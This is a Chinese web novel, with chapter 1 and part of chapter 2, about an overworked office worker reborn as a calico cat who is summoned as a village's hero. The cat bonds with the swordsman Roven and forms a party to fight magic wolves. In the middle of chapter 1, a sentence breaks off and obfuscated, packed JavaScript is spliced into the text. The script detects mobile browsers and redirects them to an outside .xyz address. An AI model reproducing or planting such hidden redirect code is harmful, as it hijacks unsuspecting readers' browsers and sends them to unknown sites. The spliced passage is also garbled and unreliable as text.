《虽然是勇者但是是猫》 1. 变成喵 祭坛的青石板凝着夜露,指尖触到的凉意顺着皮肤往骨头里钻,像小时候弄堂口那口老井的井沿,后来井填了盖成快递站,三轮车每天清晨“突突”碾过水泥地,可井沿那点沁骨的凉,倒比工位二十四度空调风记得真切。 方绪白咬下苹果,脆响在空荡石台上撞出孤零零的回音,惊得檐角积着的霜屑簌簌往下掉,落在绣满烫金古符的布帛上,金粉沾在粉肉垫里,细得像便利店五毛钱一颗的水果糖,含在嘴里会化出淡淡橘子味,是他死前最后一次加班,在公司楼下自动售货机买的那种。 这布帛比工位磨破边的鼠标垫软和,鼠标垫印着部门团建合照,边缘卷得像晒干的海带,照片里他举着半杯速溶咖啡,笑出的嘴角还僵着,身后是老板站在落地窗前的背影。 可裹着他的金光太晃眼,像年会抽特等奖时的聚光灯,去年中了空气炸锅的实习生抱着奖品哭,说要寄给种玉米的妈妈,他当时攥着没中奖的安慰奖——印着公司logo的马克杯,杯底还沾着没洗干净的咖啡渍。 方绪白把瞳孔缩成细线,底下人影成了模糊的色块:老镇长举着桃木权杖,杖头开裂的十字花颤得像深秋被风扯晃的芦苇,拐杖尖戳进石板缝,带出的石屑落在它爪边;扛剑壮汉站在旁,胳膊上血痂泛着暗红,剑鞘在石面磕出冷生生的响,像老板早上把咖啡杯摔在桌上的动静,那天全部门都留到月上中天,键盘敲击声混着咖啡机最后一声“滴”,成了加班夜的背景音。 他甩尾蹭掉爪缝金粉,早知道穿越是这样,死前那碗麻辣烫该多加两份毛肚。当时手机震三下,老板微信跳出来:“加个班,方案改完发我”。他咬着筷子回“好”,眼看锅里豆芽煮烂,毛肚只夹起一片,烫得舌尖发麻,就栽在了键盘上——屏幕还亮着,PPT第18页的“项目风险评估”只写了半行,像没说完的话。 现在倒好,成了只连麻酱都舔不到的三花猫,连后悔都只能在心里团成个软软的“喵”,连去年没休完的五天年假,都成了系统里灰色的“已过期”提示。 苹果核精准丢进角落陶碗,准头比上班时投垃圾进远处垃圾桶还强,以前总跟同事赌雪糕,谁投中最远处的桶,就能换一根绿豆沙的。肚子里暖融融的,却空落落的,像加班到后半夜回家,摸黑开冰箱只看见半瓶结霜的牛奶,是上周日买的,本想配麦片当早餐,结果周一到周五,连拆封的时间都没有。 那碗没吃完的麻辣烫,此刻该凉在出租屋玻璃茶几上了吧?汤里绿豆芽蜷着,像缩在工位椅里打盹的自己,连被人咬一口的使命都没完成,就该馊了,像那些没来得及交的周报,躺在电脑桌面“待办”文件夹里,渐渐被新文件淹没。 方绪白蜷起身子埋进绒毛,以前总在周六下午去猫咖,隔着玻璃看三花抢胖橘的金枪鱼罐头。 那只三花和他现在很像,额间撮白毛,被店员敲爪子时会装可怜蹭手。现在自己成了被围观的稀罕物,底下人举着权杖、握着剑,眼神像看博物馆里的标本,要是再遇见那只胖橘,算不算隔着物种递了颗虚拟猫薄荷?说不定那只猫还记着,去年冬天自己偷偷从包里摸出的半根猫条,掰成小块放在玻璃外沿。 “这、这就是勇者?”老镇长声音抖得厉害,拐杖死死指着布帛,指节泛白,“‘爪带星光’……古籍上写的,竟是猫爪啊?” 壮汉皱眉啧了声,剑鞘再磕石板,惊飞檐角麻雀:“镇长,咒文莫不是念错了?我明明看见光柱里有铠甲反光——该是披甲握剑的勇士,能斩魔狼、护镇子的那种,怎么是只三色猫?”他比划着剑的长度,胳膊血痂扯动也没皱眉,像在说“这猫连鸡都抓不住,怎么挡魔物”。 后来方绪白才知道壮汉叫罗文。 “喵~”方绪白打了个长长的哈欠,前爪搭在卷轴上,金粉沾了满爪。 阳光透过彩绘玻璃,在它身上投下红蓝光斑,像小时候贴在窗户上的糖纸,看外面世界都变了颜色。 底下人还在吵:“魔物要来了”“血月下周就到”“勇者不能是猫”,他却懒得管,打工人的累还锁在骨头缝里,上周连续三天熬到凌晨两点改PPT,现在只想晒着太阳睡一觉,管它什么魔狼血月,不如梦里的麻辣烫香,梦里的毛肚是脆的,麻酱是稠的,没有老板突然发来的“再改一版”。 后颈的毛猛地竖起来。 不是错觉,那种被老板下班前突然@的心慌,顺着脊椎爬上来,还裹着潮湿的腥气——像梅雨季漏雨的地下室,去年租的那间,墙皮长着灰绿霉斑,房东说“下个月修”,结果直到他搬走,漏雨的窟窿还在,雨夜里能听见水滴砸在脸盆里的“嗒嗒”声。 方绪白跳起来往镇外森林跑,爪子踩石板的轻响没跑两步,就被双温暖的手捞住。 是那壮汉。 掌心有握剑磨出的茧子,糙得像工位旁同事养的仙人掌,蹭过他耳后时有点痒。 他语气冷得像剑刃:“你要去哪?”腰间剑露着半寸寒光,映着天光,像老板桌上那把拆信刀,总在说“扣绩效”时被拿在手里转。 方绪白从他眼里看出“你帮魔物,我就斩了你”。 拜托,他只是只想吃小鱼干的猫,又不是魔狼同伙,犯不着用剑吓唬。 方绪白抬爪指森林深处,然后就瘫在他掌心装死。 壮汉半信半疑往前走,脚步放轻,剑握得紧。没走二十步,就看见树后灰扑扑的狼脑袋,正啃村民晒的麦穗,尖牙挂着麦秆,狼毛沾着泥土草屑。 是早上被他打跑的魔狼,后腿还带剑伤,绕圈回来偷东西,像没偷成糖被抓包的小孩,眼神里有点不服气,又有点怕。 壮汉把方绪白揣进粗布衣裳,只露个毛绒脑袋,手起剑落要砍。 可方绪白又心慌了,比被老板@时还慌,他看见魔狼盯着壮汉不躲,眼里凶光却不像要扑,倒像故意引开注意力。 果然,身后草丛窸窣响,草叶压弯,另只魔狼跳出来,爪子沾着泥土,像刚从工地回来的工人,指甲缝里都是灰。 剑光闪得像天边闪电。 壮汉转身用剑挡狼爪,铁剑撞狼爪的“哐当”声,震得方绪白耳朵发麻。 壮汉的胳膊被划出道口子,血珠渗出来,红得像外卖红油抄手的辣椒油。 方绪白趁机跳起来,一爪子拍在魔狼眼睛上,他自己都惊了,猫爪居然有这么大力气。 魔狼疼得“嗷”叫,退两步捂眼。壮汉补一剑刺中喉咙,热血溅在方绪白耳朵上,烫得他直缩脖子,像被开水烫到一样。 “行啊,勇者。”壮汉接住跳回来的它,声音里有了笑,不像刚才冷得像冰,像冬夜里终于热起来的牛奶。 方绪白跳下去闻狼尸,那味道像公司楼下漏煤气的便利店,危险里掺着廉价的坏,让人心里发紧,上次便利店漏煤气,报警器“嘀嘀”响,他抱着金枪鱼饭团跑三条街,手还在抖,饭团包装纸都被捏皱了。 老镇长颤巍巍递来藤编小篮,篮子编着简单花纹,里面小鱼干油亮亮的,松针熏过的香,勾得方绪白尾巴尖晃得像小旗子。 “勇、勇者大人辛苦了……村民凑的,刚熏好的,没放盐。”老头腰弯得更低,头发沾着金粉,像落了碎雪,更和蔼些,带着些讨好的意味笑着。 方绪白立刻叼条小鱼干,跳回壮汉肩膀,爪子勾着他衣领,生怕掉了。 管它魔王魔狼,先拿奖励——打工人的本能,加班要加班费,下午茶不能少,谁也别想占他便宜。 壮汉笑着托它往回走,手指护着他身子,路过老橡树时,方绪白瞥见树后缩着黑紫斗篷,边缘绣着银线,露出来的耳朵尖尖是尖的,动得像受惊的兔子,身上没有魔狼的腥气,只有淡淡草木香,也就懒得管了。 后来才知那是迷路的精灵奎兰,从北方森林来,可当时它满脑子“小鱼干要趁热吃”。 壮汉的小屋在镇子东头,离森林不远,矮矮的木屋盖着茅草,烟囱飘着淡烟。 屋里铺着粗麻布,糙却干净;墙角堆着晒干的草药,薄荷、艾蒿捆成小束挂房梁,空气里松针的清苦,像去年爬山时向导摘的叶子,说能止血,清清凉凉的。 方绪白跳上木床,床板“吱呀”响,就听见门外轻响,像风吹树叶。 探头看,是一个身影站在阴影里,像株怕晒的紫罗兰,脸色白得像纸,攥着斗篷带子的手指泛白。 他“喵”一声,壮汉才看见,刚要问“你是谁”,精灵就像烟似的没了,连影子都没留,像个梦。 夜里,方绪白窝在壮汉给的旧毛衣里,灰色的,洗得发白,有太阳的味道。 他听见门外有人说话,压得很低,像说秘密:“猫怎么能是勇者?连鸡都抓不住”“卷轴几百年了,说不定翻译错了”“让它打魔物是送死,不如让阿力去”,还有人小声说“我家有小鱼干,我养它”,立刻有人抢“凭什么,我家有牛奶”,吵得像菜市场讨价还价。 方绪白翻个身埋进粗布枕头,人类真麻烦,不如猫咖自动喂食机,按一下就有吃的,不用猜老板心思,不用争来争去。 说话声停了,脚步声被夜色吞了。 方绪白眯眼看见门被推开,壮汉抱着东西进来,胳膊挂着小鱼干藤篮,怀里塞着苹果、玉米,还有个圆西瓜,绿皮深绿条纹,堆得挡了脸,像移动的小仓库。 他看见方绪白醒了,动作更轻,西瓜“咚”地滚半圈。 方绪白眼睛亮了,跃身跳上水果堆顶,挑个最红的苹果,叼着跳回床啃——甜汁沾嘴角,比公司下午茶的苹果好吃多了,公司的总带点涩,像老板画的饼,说“项目成了涨工资”,结果只多了箱橘子,酸得人皱眉。 壮汉把东西放好,小鱼干篮搁床边。 方绪白啃完苹果,核放床头,盯着小鱼干的眼睛像琥珀,刚伸爪就被他提起来——手指稳托着它肚子,失重感让他炸毛,“喵喵喵”地叫,睁眼就看见壮汉的脸,很近,他绿眼睛像森林里的湖,映着他小小的影子。 “你还没有名字吧?”壮汉声音轻得像怕吓着它,呼吸有松针味。 方绪白心里咯噔,罗文长得壮,胳膊带疤,说话像敲铁块,该不会取“旺财”“虎子”?那它亏大了,穿越勇者名字得好听,像同事的宠物叫“拿铁”“摩卡”,听起来就能躺在咖啡馆晒太阳。 罗文碰了碰他额间白毛:“黑、白、橘三色,眼睛像琥珀,性别是……” 他刚要伸手往下摸,就被方绪白一巴掌拍手上,爪子尖带劲,拍得他手麻。 “喵!”——耍流氓啊?就算是勇者,也不能随便看性别!上次体检医生听心肺要掀衣服,他都紧张得攥紧拳头,脸也红了。 他没收住力,壮汉手上立刻现出道道血痕,可血珠刚要掉,伤口就像被风吹过似的愈合,只留浅白印。 方绪白拱腰呲牙,像炸毛的小海胆,心里又有点慌。 可罗文笑了,嘴角弯出虎牙,摸他的头,轻得像摸易碎的瓷瓶:“力气倒不小,以后轻点。叫薇薇安怎么样?有活力的意思,路过商人说他女儿叫这个,像小太阳。” 方绪白愣住了。 这名字软乎乎的,像刚烤好的小面包冒热气,一点不像壮汉取的,倒像猫咖布偶猫“奶糖”的名字,总被人抱着拍照,毛发像棉花糖。 方绪白心里过意不去,凑过去用头蹭他掌心,毛茸茸的脑袋蹭着茧子,又偷偷看他的手,伤口却没了。 方绪白眨圆眼睛卖萌,尾巴勾他手指,想哄他,却被他捂住眼睛,掌心暖暖的,像冬天的暖宝宝,揣兜里能暖一下午。 罗文转过头,耳尖红得像晒透的野草莓,藏都藏不不住。 几天后老镇长来,拿个布袋子装晒干的草药,笑问:“勇者大人怎么样?听话吗?”壮汉在门口值班,背剑挺得像风里的松树,一提薇薇安,眼神就软了,像化了的冰糖:“乖得很,晚上窝旧毛衣睡,不挠东西。我给它取名薇薇安。” “薇薇安?”镇长摸花白胡子,指腹蹭过草屑,忽然皱眉,“这名字我在破古籍上见过,带‘被遗忘的光’的意思,招暗处诅咒,改一个?叫‘雪球’‘橘果’,安全,也配毛色。” 壮汉想都没想摇头,手摸向剑鞘,语气硬得像护着怀里的暖手炉:“不用改。我取的名,就不会让它被诅咒缠上。谁动它,就要做好缩短寿命的准备。” 他说这话时,眼神扫过镇口森林,绿眼里像藏了寒潭,连风都顿了顿。 镇长愣了愣,随即笑了,拍他胳膊,递过布袋子,又往屋里瞥,“薇薇安呢?我带了块熏鱼干,比上次香。” 方绪白在屋里听见“熏鱼干”,立刻从旧毛衣跳出来,踩木床“哒哒”跑到门口,尾巴竖得像小旗子。 镇长看见他,眼睛笑成缝,摸出油纸包的鱼干递过去:“勇者大人,尝尝?怀特昨天熏的,放了桂花。” 方绪白叼过鱼干,跳回壮汉脚边啃,桂花甜香混着鱼鲜,比上次更有嚼头。 方绪白边啃边抬头,看见罗文把草药袋放进屋,回头时眼神落在他身上,软得像午后阳光——像一杯热奶茶,杯壁暖乎乎的,珍珠沉在杯底,甜得刚好。 镇长走了两步回头喊:“血月前别去森林深处,魔狼聚得勤!”罗文应“知道了”,弯腰抱起方绪白,指尖蹭它嘴角的鱼干碎屑:“慢点吃,没人抢。” 罗文的指尖带着草药的清苦,轻轻蹭过方绪白沾着鱼干碎屑的嘴角,像在拂去一粒不小心沾在糖纸上的灰尘。 方绪白叼着鱼干,把脑袋往他掌心拱了拱,毛茸茸的耳朵扫过他的指节,惹得他低笑出声,胸腔的震动透过手臂传过来,像冬夜里守在铁匠铺旁听铁砧轻响,暖乎乎的。 屋里的石臼还搁在桌角,早上捣药时溅出的草药碎末沾在边缘,被阳光晒得发脆。 方绪白啃完最后一口鱼干,舔了舔爪子上的桂花香气,突然瞥见罗文胳膊上的旧伤——就是上次被魔狼划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290265|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开的地方,虽然愈合了,却留下道浅浅的白痕,像被水打湿后又晒干的纸,轻轻一碰就怕碎。 他跳上他的胳膊,用没沾过鱼干的爪子尖,轻轻碰了碰那道白痕,像在确认是不是还会疼。 “早好了。”罗文抬手托住它,另一只手摸了摸石臼里剩下的薄荷碎,“这草药能安神,晚上给你垫在旧毛衣底下,睡得安稳些。”他说着,从墙角拖出个木箱子,打开时“吱呀”响,里面铺着晒干的松针,还放着个陶制的小碗,碗沿缺了个小口,“以后这就是你的食碗,怀特说熏鱼干要放凉了吃,不然伤肠胃。” 方绪白歪着脑袋看他,琥珀色的眼睛里映着木箱子里的松针,突然想起猫咖里那个铺着猫抓板的小角落,阳光也是这样斜斜地照进来,落在一只白猫抢来的金枪鱼罐头盒上。可这里的松针比猫抓板软,陶碗比罐头盒暖,连说话的人,都比总在旁边喊“别抢”的店员温柔。 方绪白跳进木箱子,在松针上打了个滚,金粉从爪缝里掉出来,落在松针间,像撒了把碎星星。 那天下午,罗文没去镇口值班,就在屋里收拾草药。 方绪白窝在木箱子里,看他把薄荷和艾蒿分成小束,用麻线捆好挂在房梁上,每捆都捆得整整齐齐。偶尔有风吹进来,带着森林的草木香,房梁上的草药轻轻晃,影子落在罗文的粗布衣裳上,像在织着细碎的花纹。 “对了,”罗文突然停下手里的活,从怀里掏出个小小的布包,打开是块磨得光滑的暖石,石面上刻着个歪歪扭扭的猫爪印,“上次去后山捡的,比马蹄铁暖,晚上给你揣在毛衣里,就不冷了。”他把暖石放进木箱子,松针被压出个小小的窝,“以前听商人说,猫都喜欢暖乎乎的地方。” 方绪白把爪子搭在暖石上,果然暖融融的,像揣着颗小小的太阳。 他抬头看罗文,他正把草药袋里的叶子分类,绿的薄荷、灰的艾蒿,还有些带着紫色小花的草,被他小心地放在不同的陶盘里。阳光落在他的绿眼睛上,像融了的蜂蜜,软得让人想蹭一蹭。 傍晚时,镇口传来敲锣声,是老镇长在喊“各家关好门窗,魔狼又在林边晃了”。罗文把最后一束草药挂好,抓起剑就往外走,临走前把暖石往方绪白怀里塞了塞:“乖乖待在屋里,别乱跑,我很快回来。”他的手顿了顿,又把陶碗里剩下的半块熏鱼干放在木箱子边,“饿了就吃这个,等我回来给你拿新的。” 方绪白蹲在门口,看着他的背影消失在镇口的暮色里,剑鞘在石板上敲出的“笃笃”声,渐渐被风吹远。 屋里静下来,只有房梁上草药偶尔的轻响,还有暖石在怀里慢慢散着热。 他突然想起,以前加班到天黑,同事们都走了,只有他还在工位上改方案,窗外的路灯亮起来,把他的影子拉得很长,电脑屏幕上的光标闪着,像在说“快一点,再快一点”。可现在,有人会给它留着暖石,留着鱼干,会说“我很快回来”,不用再对着空无一人的办公室,啃着冷掉的外卖。 方绪白跳上窗台,往外看。 镇口的方向有火光在闪,是村民们举着的松明火把,偶尔传来几声吆喝,却没有剑击的脆响,应该没遇见魔狼。风里飘着淡淡的桂花味,是怀特家的桂树开了,去年在猫咖里,也有棵小小的桂花树,花瓣落在还是人的他手上,被他扒拉着逗猫玩了一下午。 不知过了多久,远处传来熟悉的脚步声,还有剑鞘碰在石板上的轻响。 方绪白立刻跳下床,跑到门口,爪子扒着门板,尾巴竖得像根小旗子。门被推开时,罗文的身影撞进来,带着外面的寒气,却把手里的布包高高举着:“看,怀特刚熏好的鱼干,还热着。” 布包里的鱼干果然带着温度,松针的香混着桂花的甜,比中午的更诱人。 方绪白叼过一条,就往木箱子里跑,把鱼干放在暖石旁,好像要让暖石把鱼干焐得更热些。 罗文笑着跟进来,把剩下的鱼干放进陶碗,又把暖石往它身边挪了挪:“慢点吃,没人跟你抢。” 那天晚上,方绪白窝在铺着薄荷和暖石的旧毛衣里,啃着热乎的熏鱼干,听罗文在旁边捣药。 石臼捣药的“咚咚”声,混着窗外的风声,像在唱着温柔的歌。他啃完鱼干,舔了舔爪子,把脑袋放在暖石上,琥珀色的眼睛慢慢闭上——没有老板的微信,没有改不完的PPT,只有暖乎乎的石头,香甜甜的鱼干,和身边轻轻的捣药声。 梦里,他又回到了那个漏雨的地下室,墙皮上的霉斑却变成了松针,漏雨的窟窿里飘进桂花的香。 他看见罗文举着暖石走进来,身后跟着个尖耳朵的漂亮精灵,精灵手里拿着个小小的花环,上面插着淡色的小花,像极了树后那个精灵的斗篷颜色。精灵把花环放在他的木箱子上,轻声说:“这是安神的花,能做你喜欢的光垫。” 方绪白笑着扑过去,却突然听见有人喊“薇薇安”,声音软乎乎的,像暖石的温度。 他睁开眼,看见罗文正蹲在木箱子旁,手里拿着片带着露水的薄荷叶,轻轻碰他的耳朵:“醒了?刚听见你打呼噜。。” 窗外的天刚亮,雪粒落在屋檐上,发出“沙沙”的响。 方绪白跳起来,叼着薄荷叶,跳上罗文的肩膀,把叶子放在他的耳朵边,像在回赠他的温柔。 罗文笑着把它抱下来,往陶碗里倒了点温水,又放了条鱼干:“今天带你去镇里转转,让大家认识认识我们的勇者——虽然是只猫,可比披甲的勇士厉害多了。” 方绪白叼着鱼干,跟在他身后往门外走。 阳光透过门框,把他们的影子拉得很长,暖石还揣在罗文的怀里,带着他的温度;房梁上的草药轻轻晃,薄荷的香飘在空气里;木箱子里的松针,还留着他打滚的痕迹。 他突然觉得,当只叫薇薇安的勇者猫,也没什么不好——不用再回那个只有空调风和咖啡渍的格子间,不用再抢冷掉的麻辣烫,不用再看着年假变成灰色的“已过期”。 这里有暖石,有鱼干,有会护着它的人,还有个软乎乎的名字,像含在嘴里的水果糖,慢慢化出甜来。 风从森林里吹过来,带着草木香,还有点淡淡的紫罗兰味,方绪白的耳朵动了动,抬头看了看远处的老橡树,尾巴轻轻晃了晃。 罗文的脚步停在镇口,指着远处的雪山说:“等血月过了,我带你去山上看雪,那里的雪比镇上的软,还能找到暖石——商人说,山顶的暖石能留住光,像你爪垫里的金粉一样,亮闪闪的。” 方绪白蹭了蹭他的脖子,把鱼干的碎屑蹭在他的粗布衣裳上,像在说“好啊,我们一起去”。 镇口的老橡树旁,不知何时多了束淡紫色的小花,插在个陶制的小碗里,碗沿缺了个小口,像极了它的食碗。方绪白跳过去,闻了闻小花,是安神的味道,和梦里精灵手里的花环一样。它抬头看向森林的方向,阳光落在它的绒毛上,金粉闪着光,像撒了把碎星星。 2. 拥有自己的小队 村口的风裹着哭腔漫过来时,方绪白正把下巴搁在微亮的石板上晒暖。 阳光是刚醒的样子,软乎乎铺在背上,像旧年在写字楼里,林姐织了一半的浅灰羊毛毯搭在工位椅背上——毛线绕着竹针松松垮垮,林姐总说“等织完给你当午休枕”,后来毯子被楼下流浪三花抓出毛球,她也没恼,只把毛线团推给猫,指尖戳着猫鼻尖笑:“猫爪比毛线软,你玩这个,我再织条新的。” 风里的哭腔碎成星子,“魔狼”“荆棘谷”“鸡”,这些词撞进耳朵时,方绪白的耳朵尖先于意识竖起来。 不是怕魔狼,去年冬夜见过那家伙,尾巴拖得像脏雪团,却被猎户的陷阱夹得嗷嗷叫,眼里的凶光早被疼得散了。 是“鸡”字像浸了油的灯芯,在颅腔里“噗”地燃了微光。 佐伊家的金棕羽母鸡,阳光底下毛泛着蜜似的光,每天清晨准点站在篱笆上打鸣,嗓门亮得像打卡机的提示音,比老板晨会的闹钟还不肯饶人。 上次路过佐伊家的院子,她正往鸡窝里添玉米粒,掌心沾着金黄的粉,簌簌落在草垫上。 女孩蹲下来摸方绪白的头,指腹带着玉米壳的糙感:“薇薇安,等攒够二十个鸡蛋,给你炖锅香菇鸡汤。我妈说的,鸡汤要慢火炖,把香菇的香都炖进汤里,喝一口暖到脚后跟。” 方绪白当时蹭了蹭她的手心,鼻尖沾了粒玉米,被风吹进喉咙,呛得打了个喷嚏,佐伊笑得直揉它的毛,玉米粉扑了他一脸。 清掉魔狼,鸡就不会少;鸡不少,鸡汤就有了,说不定还能蹭块鸡油饼。 方绪白猛地支起身子,尾巴扫得石板沙沙响,几步蹿到罗文脚边。 罗文正靠在草垛上打盹,昨夜里值了整宿的班,眼底下泛着青,粗布裤脚沾着草屑,像刚从田埂回来的农汉,连睫毛上都挂着晨露。 方绪白凑过去闻,他身上有艾草的淡苦,昨天傍晚他在院子晒艾草,说“端午快到了,挂门上能驱虫”,当时他还把脸埋进艾草堆打了个滚,绒毛上沾了不少碎叶,现在蹭着罗文的裤腿,倒蹭下两片来。 没等罗文坐直,方绪白已经叼住他的裤脚,粗麻布磨着牙床,有阳光晒过的干草味,和工位上晒了一中午的抱枕一个暖烘烘的调子。 “唔?”罗文低头看它,眼神还沾着困意,伸手摸他的头,指腹蹭过绒毛里的艾草碎,“薇薇安是饿了?”说着就抱起它往屋里走,脚步轻得像怕踩碎草叶上的晨露,怀里的温度裹着方绪白,像被羊毛毯裹住时的软暖。 罗文的厨房小得能转身,灶台是黄泥糊的,铁锅擦得发亮,锅底还留着上次煮玉米的焦痕。 那天方绪白蹲在灶台边,看玉米粒在锅里蹦跳,最后焦了的几粒被罗文挑出来喂他,有点苦,却带着玉米的甜。 他在碗柜里翻了半天,找出半袋麦粉,袋子上沾着去年的麦壳,又往锅里倒了点井水,铁勺搅得水面泛绿沫,最后端出盘绿得发暗的东西。 方绪白盯着那盘“浆糊”——像是把院子里刚摘的薄荷和麦粉混了,边缘沾着锅灰,像被雨水泡过的草稿纸。 他突然想起公司楼下的蔬菜饼,张婶早高峰推着小推车卖,饼上撒着芝麻,咬一口能拉出点芝士丝,虽黏糊糊的,却没这么绿得心慌。 “吃吧。”罗文靠着土墙,声音藏着没睡醒的疲惫,指腹轻轻蹭过它的耳朵,像哄闹脾气的孩子。 方绪白心里揪了揪,这盘绿东西,实在像发霉的面包片,连苍蝇都绕着飞。 他正犹豫,罗文的呼吸慢慢沉了,靠在墙上睡着了,手还搭在它背上,暖乎乎的,像冬天搭在椅背上的外套,带着人身上的温度。 方绪白悄悄跳下床,刚要往村口跑,大黄还在老槐树下等着,昨天约好一起去偷摸看佐伊家的鸡,挑最肥的那只,下次魔狼来先护着。 却被一只手捞起来。“薇薇安要去哪?”罗文的眼睛亮了,没了困意,锐利得能看穿他藏在绒毛里的小心思。 方绪白只好眨巴着琥珀眼,尾巴轻轻勾他的手腕,想蒙混过关。 “吃完才能出去玩。”罗文把他放回地上,指了指那盘绿浆糊,语气里带着不容拒绝的温柔。 方绪白盯着盘子,突然不纠结了——比起鸡汤,这点“难吃”算什么?打工人连糊掉的速溶咖啡都能喝,还怕这盘绿东西? 他刚要低头,鼻尖却猛地闻到风里的腥气——不是魔狼的腥,是鸡身上的血味,混着羽毛碎末。 他叼住罗文的裤脚往村外拽,罗文被拽得晃了晃,笑着叹口气:“你这小祖宗,到底要去哪?是找西拉斯,还是找佐伊的鸡?” 没出村子,方绪白突然松嘴,颠颠往铁匠铺跑。 铁腥味老远飘过来。 矮人西拉斯正弯腰捡锤子,烧红的铁块躺在铁砧上,火星子簌簌往下掉,像过年时撒的碎烟花,落地就灭,留下点黑印。 方绪白没敢靠近炉子,热气扑得耳朵发烫,抖着窜到石墩旁——那儿堆着敲废的铁料,黑黢黢沾着煤渣,像没擦干净的键盘,缝里全是灰。 他扒拉半天,找出块巴掌大的碎铁,弧度弯成月牙形,叼起来甩了甩头——不重,刚好能叼着走。 上次在村口听格兰特说,西拉斯的盾沿裂了个口子,是挡野猪时撞的,找了好几块铁料都不合适,总说“这盾再补不好,下次遇着野兽,我这老骨头就得交代了”。 方绪白想,这碎铁的弧度,刚好能补盾沿,比送包烟还管用,西拉斯肯定愿意跟着去,他可不想为了吃鸡,把自己和罗文的小命送出去,多加一个人总归是好的。 西拉斯低头瞅那铁渣,又瞅蹲在旁边摇尾巴的方绪白,眉头拧得像麻花:“我这料是要补盾沿的——”话没说完,见方绪白叼着铁渣往森林拽,尾巴还扫他裤腿。 西拉斯突然笑了,骂骂咧咧把铁渣揣怀里:“总不能让猫把我的料叼丢了……再说,有盾在,怕什么魔狼,老子的盾比你这小祖宗还结实。”声音越说越轻,脚步却跟着动了。 方绪白路过罗文脚边,用脑袋蹭了蹭他的裤腿,走了,组队干活去,人多力量大。 罗文看着它嘴里的铁渣,突然笑出声:“是记着西拉斯的盾,还是记着佐伊的炖鸡?”方绪白没理他,只顾往前跑,风从耳尖吹过,好像已听见鸡汤在锅里咕嘟响,汤面浮着香菇和鸡油,又好像看见西拉斯补好盾,往他嘴里塞了块烤麦饼——麦饼撒着芝麻,香得很,咬一口掉一地渣。 荆棘谷的雾还没散,脚边草叶凝着露,踩上去沙沙响,比罗文压着嗓子说的“慢点走”还清楚。 路被紫黑的藤缠得密不透风,那些藤像拧在一起的旧电线,贴地的地方沾着枯叶,刺尖闪着冷光,像打印机卡纸时露出来的碎纸,刮得手疼,上次方绪白就被刮破指尖,罗文就用布条给他缠了圈,像给小伤口戴了个白帽子。 方绪白刚要搭爪子,后颈的毛突然“唰”地竖起来——不是怕刺,是鼻尖闻到陌生的气息,像山涧的水混着松针的凉,清清爽爽的,没有魔狼的腥气。 他转头往老橡树后看,树影里立着个人:淡金色的长发垂在玄色斗篷上,发梢沾着雾的湿,像刚从雪地里走出来,耳尖是尖的,像猫咖里那只布偶猫的耳朵,软乎乎的,总被客人揉得发红。 那人没动,只抿着唇站着,眼睫垂得低低的,遮住了眼睛,耳尖悄悄泛着粉,像没熟透的水蜜桃,透着点害羞。 方绪白喉咙里呼噜了声,把爪子收回来——不是敌人,身上没有杀气,倒像刚入职的实习生,连说话都不敢大声。 他踮着脚凑过去,用毛茸茸的侧脸蹭他的斗篷下摆,斗篷料子软乎乎的,带着点清清凉的味,像刚从冰箱里拿出来的薄荷糖,甜丝丝的凉,蹭得绒毛都泛起凉意。 “唔……”那人被蹭得手一抖,指尖凝着的冰雾“簌簌”掉了些霜花,落在方绪白的绒毛上,转眼化了,留下点湿痕,像撒了把碎冰。 他的脸“腾”地红透了,从脸颊红到耳尖,连说话都结巴了:“我叫奎兰……刚才在这儿,听见狼嚎了,像从洞里传出来的。”方绪白蹭得更欢了,尾巴尖扫过他的裤腿——这可是主动搭话了,比改完一个方案还开心。 罗文跟在后面,手里攥着备用绷带,见方绪白没炸毛,才松了口气:“我是罗文,这是薇薇安,西拉斯在后面扛盾。我们要清魔狼,正愁荆棘挡路,怕动静大了惊着它们,要是伤了小狼崽……” 话没说完,奎兰的手腕轻轻一扬,冰雾漫过荆棘丛,“咔啦”一声脆响,紫黑的藤瞬间冻成青白色的冰坨,刺尖碰着就碎,像掰断了的旧塑料尺,没一点声响,连草叶上的露珠都冻成了小冰珠。就这样奎兰也加入了小队。 方绪白往洞里探了探,潮气里混着腥气,像外卖盒里放久了的生肉,有点发臭。 他刚要往里窜,就被西拉斯的嘟囔声叫住:“猫大人,找着帮手了也不等等我!”矮人扛着盾走过来,盾沿还沾着铁屑,看见奎兰红透的脸,哼了声:“行吧,算你有点用,遇着狼,你冻它腿,我挡前头,罗文砍它脖子,分工明确,别拖后腿。” 奎兰被吓得往后缩了缩,却悄悄把指尖的冰雾凝得实了些,像握紧了手里的笔,准备干活,耳尖的粉却更浓了。 方绪白赶紧窜过去,用脑袋顶西拉斯的裤腿,可别吓着新同事,他的冰魔法可比你的盾好用多了,悄无声息的。 西拉斯愣了愣,摸了摸方绪白的头,没再说话,只是把盾往身前挪了挪,像是嘴上嫌麻烦,却还是把最难的数据整理揽过去,说“我熟,我来弄,你们专心写方案”的那种人。 洞里的母狼扑出来时,西拉斯的盾“咚”地挡住了,震得他退了半步,后腰撞在石头上也没松劲,咬着牙说“来啊,你这畜生”。罗文绕到侧边,剑刃擦着盾沿扫过去,“唰”地削掉了半只狼耳。 血珠溅在草叶上时,母狼才疼得呜咽一声,夹着尾巴窜回洞深处,尾巴尖还扫到了方绪白的爪子,带着点凉。 方绪白蹲在洞口,扒着堆乱草,找出块带肉渣的鸡骨头——这是佐伊家的鸡,毛还沾在骨头上,金棕色的,和她院子里的鸡一模一样,骨头上留着点牙印,是魔狼咬的。 “你倒会捡现成的。”罗文捏着它的后颈把骨头抢了,却从腰间解下串熏鸡肉干,是上次艾达送的,用松针熏的,撕了小块塞它嘴里。肉干带着松针的香,比上次老镇长给的还好吃,有嚼劲,越嚼越香。 